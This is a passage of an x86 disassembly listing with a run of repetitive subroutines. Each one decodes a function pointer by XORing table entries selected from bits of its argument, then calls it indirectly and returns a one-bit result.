		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A776E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A786B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED950o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Fh
		mov	[ebp+var_2C], 7Ch
		mov	[ebp+var_28], 0DFh
		mov	[ebp+var_24], 10h
		mov	[ebp+var_20], 3Bh
		mov	[ebp+var_1C], 3Bh
		mov	[ebp+var_18], 0FAh
		mov	[ebp+var_14], 69h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A78FC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A78FC:				; CODE XREF: sub_4A786B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A786B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7968	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED954o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0B3h
		mov	[ebp+var_2C], 0C8h
		mov	[ebp+var_28], 8Dh
		mov	[ebp+var_24], 6Bh
		mov	[ebp+var_20], 30h
		mov	[ebp+var_1C], 0BBh
		mov	[ebp+var_18], 38h
		mov	[ebp+var_14], 39h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A79F9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A79F9:				; CODE XREF: sub_4A7968+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7968	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7A65	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED958o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D7h
		mov	[ebp+var_2C], 0DCh
		mov	[ebp+var_28], 95h
		mov	[ebp+var_24], 40h
		mov	[ebp+var_20], 0F6h
		mov	[ebp+var_1C], 30h
		mov	[ebp+var_18], 0CFh
		mov	[ebp+var_14], 0E9h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7AF6
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7AF6:				; CODE XREF: sub_4A7A65+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7A65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7B62	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED95Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 43h
		mov	[ebp+var_2C], 0B3h
		mov	[ebp+var_28], 0D5h
		mov	[ebp+var_24], 0E2h
		mov	[ebp+var_20], 0B1h
		mov	[ebp+var_1C], 0E1h
		mov	[ebp+var_18], 0CAh
		mov	[ebp+var_14], 0F8h
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7BF3
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7BF3:				; CODE XREF: sub_4A7B62+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7B62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7C5F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED960o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4
		mov	[ebp+var_2C], 3Bh
		mov	[ebp+var_28], 0Bh
		mov	[ebp+var_24], 39h
		mov	[ebp+var_20], 56h
		mov	[ebp+var_1C], 9Ch
		mov	[ebp+var_18], 0D4h
		mov	[ebp+var_14], 20h
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7CF0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7CF0:				; CODE XREF: sub_4A7C5F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7C5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7D5C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED964o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 1Eh
		mov	[ebp+var_2C], 0CEh
		mov	[ebp+var_28], 1Dh
		mov	[ebp+var_24], 0BFh
		mov	[ebp+var_20], 88h
		mov	[ebp+var_1C], 0E8h
		mov	[ebp+var_18], 87h
		mov	[ebp+var_14], 40h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7DEC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7DEC:				; CODE XREF: sub_4A7D5C+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7E58	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED968o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Dh
		mov	[ebp+var_2C], 0DBh
		mov	[ebp+var_28], 0B4h
		mov	[ebp+var_24], 0Eh
		mov	[ebp+var_20], 0C5h
		mov	[ebp+var_1C], 0B1h
		mov	[ebp+var_18], 0F5h
		mov	[ebp+var_14], 33h
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7EE9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7EE9:				; CODE XREF: sub_4A7E58+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7E58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7F55	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED96Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Eh
		mov	[ebp+var_2C], 2Dh
		mov	[ebp+var_28], 1Ch
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 98h
		mov	[ebp+var_1C], 58h
		mov	[ebp+var_18], 0DDh
		mov	[ebp+var_14], 0AFh
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7FE6
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7FE6:				; CODE XREF: sub_4A7F55+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8052	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED970o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Fh
		mov	[ebp+var_2C], 88h
		mov	[ebp+var_28], 1Fh
		mov	[ebp+var_24], 0BFh
		mov	[ebp+var_20], 0AFh
		mov	[ebp+var_1C], 0F1h
		mov	[ebp+var_18], 0D1h
		mov	[ebp+var_14], 11h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A80E3
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A80E3:				; CODE XREF: sub_4A8052+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A814F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED974o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Eh
		mov	[ebp+var_2C], 43h
		mov	[ebp+var_28], 8Eh
		mov	[ebp+var_24], 0ACh
		mov	[ebp+var_20], 40h
		mov	[ebp+var_1C], 92h
		mov	[ebp+var_18], 8Eh
		mov	[ebp+var_14], 3Bh
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A81E0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A81E0:				; CODE XREF: sub_4A814F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A814F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A824C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED978o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3Ch
		mov	[ebp+var_2C], 7Fh
		mov	[ebp+var_28], 0BAh
		mov	[ebp+var_24], 47h
		mov	[ebp+var_20], 0C5h
		mov	[ebp+var_1C], 0AEh
		mov	[ebp+var_18], 93h
		mov	[ebp+var_14], 0F9h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
